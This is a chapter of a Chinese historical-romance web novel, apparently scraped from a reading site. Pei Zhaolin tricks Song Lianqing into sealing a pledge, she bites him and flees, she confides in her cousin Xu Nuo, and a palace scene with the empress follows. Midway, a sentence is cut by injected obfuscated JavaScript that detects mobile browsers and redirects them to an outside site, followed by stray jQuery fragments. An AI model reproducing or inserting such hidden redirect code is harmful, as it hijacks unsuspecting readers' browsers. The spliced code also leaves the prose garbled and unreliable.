38. 春宵

作品:《草色入帘青

    裴照林克己复礼绷着的那根弦轰然断了,心口涌上来的热意熏红了眼睛,却笑得越发清隽,将那杯酒递到宋涟清手边,“宋大人,请。”


    宋涟清若不是瞥见他手面上一条条清晰的青筋,险些以为她失忆了。


    她怔怔接过酒盏,想来这是他愠怒的前兆,一饮而尽。


    裴照林察觉她侧身的意图,还算温柔,扣住她的腰骨,揽她进怀里,偏要附在她耳边说话,“涟涟,是想逃吗?”


    腰际圈着的力道收紧,宋涟清的薄背贴在他的心口,很快传来深沉的跳动感,耳边是亲昵的小名,声线又低又哑,让人甘愿落入他织起的情网里。


    宋涟清面色微白,后知后觉危险,讨着商量:“我……知晓错了。”


    裴照林笑了声,从袖中拿出那张半叠的宣纸和一小盒朱砂,打开朱砂,他带着宋涟清的拇指往朱砂上按。


    宋涟清恍惚片刻,迅速抽出拇指,动作比思绪快,两人都未反应过来,她的手掌已经重重拍在裴照林的左脸。


    “嘶……”


    这一掌拍得裴照林浑身的血叫嚣着沸腾,绯红的眼圈憋出泪水,低吼她:“宋涟清,你这是想要我的命吗?”


    郎君的薄怒里带着委屈,宋涟清错愕地看了一眼自己的手,胭脂红唇张了张,旋即意识到自己做了什么,羞愧解释:“裴大人,我……我以为红手印要按什么卖身契……”


    “宋涟清!”


    裴照林的旖旎念头全数消散,心口抽痛,气血上涌,气得抬手按了按心口,重逢后头回朝她愠怒,“扪心而论,我裴思淼在你心中便是这种人?”


    “定然不是,定然不是。”宋涟清怕自己越着急越口不择言,慌乱爬起。


    她深呼气,郑重执揖道:“涟清先前随祖母在外游历,偶尔会遭遇腌臜事情,久而久之便对郎君养成了戒备习惯,今日之事,涟清实在抱歉……”


    怒气被她轻易吹散,裴照林的眉眼酸涩,“莫要再致歉。”


    人甚至无法共情先前的自己,他撑着地面起身,在心里又将十三岁的裴照林唾弃了个遍。


    他小心翼翼将她执揖礼的小手包裹在掌心,“我先前便说过,你可以待我放肆些,你我之间,不必有这些虚礼。”


    “好,我记下了……”宋涟清轻咬着下唇点头,垂落眸子,数根惭愧心绪缠磨着她,她从未见过这般好这般明事理的郎君。


    裴照林铺开宣纸,递到她手里。


    郎君的身形颀长,遮了些光,加之小亭纱幔飘飘,宣纸忽明忽暗,宋涟清只瞧清右下角朱红色的官印,她往烛火靠近,跪坐在条几边。


    —


    宋涟清知晓升宁三年十月初二晌午饕餮楼之事,不可气恼,不可躲避,不可失约与裴思淼共赏樾山枫叶。


    她哭笑不得,粲然笑问他:“为了与我去樾山赏枫叶,何必这般大费周章?”


    “所以,你那时到底想起什么?”


    裴照林迎上她熠熠的星光,见她毫不犹豫按了手印,左脸隐隐作痛,罢了,还是别说了。


    “改日,改日再议。”他陡然生出悔意要离开。


    宋涟清烦恼好几天,确实很想知晓,单手往身后一撑,半个身形挡住他的去路,“择日不如撞日,撞日不如此时。”


    宽大的袖摆和裙裾蓬松散开,宛若瑶池碧波荡漾,小娘子发间的青莲闪烁盛开。


    她狡黠的笑着他眼底难得的窘迫,另一只手不知有意还是无意,慢慢拨开脖颈垂着的发丝,拨得裴照林丢盔弃甲。


    裴照林一步一步上前,撩袍坐下,两片菱角薄唇朝她动了动,半晌没敢说出那句话。


    宋涟清暗道稀奇,方才还是勾人摄魄的狐狸精,这会儿纯情少年情窦初开似的,蹙着眉,开始借酒消愁了。


    她上手夺他的酒盏,习武之人反应也足够机敏,修长的手臂灵活躲开,宋涟清往前扑了个空,两手支在他的双肩才没落进他怀里。


    正欲起身,腰上一紧,她被迫撞进一双晦暗混浊的丹凤眸,接着是郎君低醇润着酒意的声音,“涟清觉着这小亭如何?”


    腰间手掌的热意穿透衣料,没入四肢百骸,宋涟清的目光却被他两片润泽的唇吸引,喃喃道:“甚好。”


    裴照林不喜欢她失神,掌心轻轻摩挲着她腰际的料子,逼得小娘子羞恼地直瞪着他。


    郎君却笑着抬手,正了正她的青莲步摇,压低声音缓缓道:“云鬓花颜芙蓉帐,那日,思淼想与涟涟度春宵。”


    度春宵……


    这三字倏然盘旋,宋涟清的星眸吓成了荔枝眼,“你……!”


    小亭飘荡纱幔,她低头看着交缠在一起的青色裙摆与红衫,陡然明白过来,惊恐随即变为羞怒。


    裴照林瞧见她眼尾的丹红,噙着的笑意加深几分,提醒她:“那方卷纸盖了刑部的官印。”


    不可气恼,不可躲避,不可失约樾山,原来在这儿候着她。


    宋涟清嗓子顿然堵了块棉花,弯月眉深拧,到底没忍住:“兵部侍郎裴思淼,虚伪君子,工于心计,以权谋私!”


    裴照林笑着任由她骂,怕她憋坏了,微抬下颌,偏了偏右脸。


    他的意味再明显不过,若想打,打均匀些。


    宋涟清心底那点暧昧火星,彻底燃起炽烈羞火,朝着他肆意笑着的两片弯唇,狠狠咬了一口。


    趁他恍惚着,宋涟清提起裙裾撒腿便跑,绕到游廊不忘添了一句:“淫/魔/色/鬼!”


    裴照林舔舐着唇边的腥甜,执起酒壶灌了几口,清甜的果酒更甜了。


    他轻笑出声,下唇微微泛起痛意,他两手撑着地面,抬眼看了眼那抹峨眉月,忽略痛感继续笑着。


    “我与卿卿,彼此彼此。”


    *


    宋府灯火通明,徐诺坐在宋涟清的小院里,磕着瓜子看话本子,瞅见门外慌张的动静,打趣道:


    “我们瑶池的青莲仙子,终于知晓回家了?”


    宋涟清见着她,憋了一路的羞恼找着穴口宣泄,“阿姊,你先前说的不错,他裴思淼真不是好东西!”


    徐诺修成柳叶的眉型挑了又挑,为她沏了杯茶,抓了一把瓜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578332|168930||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子过去,“涟涟先前不是再三明言他清正吗?如今何出此言呐?”


    “他这个人极有手段,知晓说出那日实情会冒犯我,诓我签下盖了官印的卷纸,阿姊有所不知,卷纸叫我不可气恼,不可躲避,不可失约樾山赏红叶,我还当真以为他只想与我赏红叶!”


    宋涟清羞得吃了几块云片糕,终于有些饱腹感,脖颈的热意再度袭上腮边。


    她羞耻道:“我先前被他的温润皮囊骗了,这种登徒子,揪他条袖口,他竟想与我度春宵!”


    徐诺的瓜子都顾不得嗑,笑得前仰后合。


    “阿姊还笑,你到底站在哪边?”


    “自然是涟涟啊。”


    徐诺第一次发觉,披了层马甲的真竹马爱恋比檀香写的话本子有意思,尤其是,她期待这层马甲撕开的刺激。


    她不免试探道:“近日檀香先生出了册新话本,女郎嗜画如命,郎君幼时故意碎坏了女郎的几幅画,导致两人绝交,郎君为此写了七年的愧疚暗恋手札,京中不少小娘子追捧,涟涟可要看看?”


    她的故事分享来得莫名且熟悉,话里藏着话似的,宋涟清的羞恼都冲散许多,抿了一口茶,她肯定拒绝:“罢了。”


    见徐诺一副可惜模样,她继续道:“阿汝倒认识不少书局东家,阿姊往后喜欢谁的话本可多与她交流,不必耗费精力争抢限量话本。”


    徐诺明了她对裴照林这层马甲的态度,打哈哈道:“那阿姊便不客气了!”


    “自家姊妹,何必客气。”


    徐诺今日登门是为送初八的开馆晚宴请帖,没料到夜色越等越浓郁,宋涟清过意不去,留她过夜,姊妹俩好久没宿在一处,徐诺自然欣然答应。


    洗漱完,临睡前,徐诺好奇多嘴一句:“裴大人既是伪君子,涟涟还与他一道去樾山赏红叶吗?”


    宋涟清每日卯时上值,夜晚倦意来的极快,随口答道:“去。”


    细碎听见徐诺微弱的笑声,宋涟清的瞌睡虫醒了大半,与她强调:“那厮盖了官印,我不得不去。”


    “好好好,不得不去。”


    徐诺忍着笑意,亦明了自家姊妹对这位裴大人的心思。


    既然如此,她必须做这个坏人了。


    *


    秋日的京师黄澄澄满片,御花园里却独一份姹紫嫣红,多亏了皇后孟岚书酷爱侍弄花草。


    她所制的美肤养颜膏脂,在京中权贵圈里广为流传,一瓶可价千金。


    三岁的朱穗宜扔下小锄头,小大人似的叉腰,愤愤不平道:“母后,裴三水不知羞,上次穗穗亲眼瞧见他顺走母后的几瓶膏脂,今儿来竟然没带一颗金锭子。”


    孟岚书替她掸落裙摆沾着的泥灰,戳了戳她鼓起的腮帮,失笑,“母后带穗穗去讨账可好?”


    小公主水润的大眼睛滴溜滴溜转,拍手叫好,由着母后牵出小园子,想到什么,眉头轻皱忧虑道:“不行不行,他心肠可坏了,母后,我们要从长计议。”


    孟岚书要被女儿萌化了,蹲下身凑近她耳朵,“待会儿穗穗挑这些说……”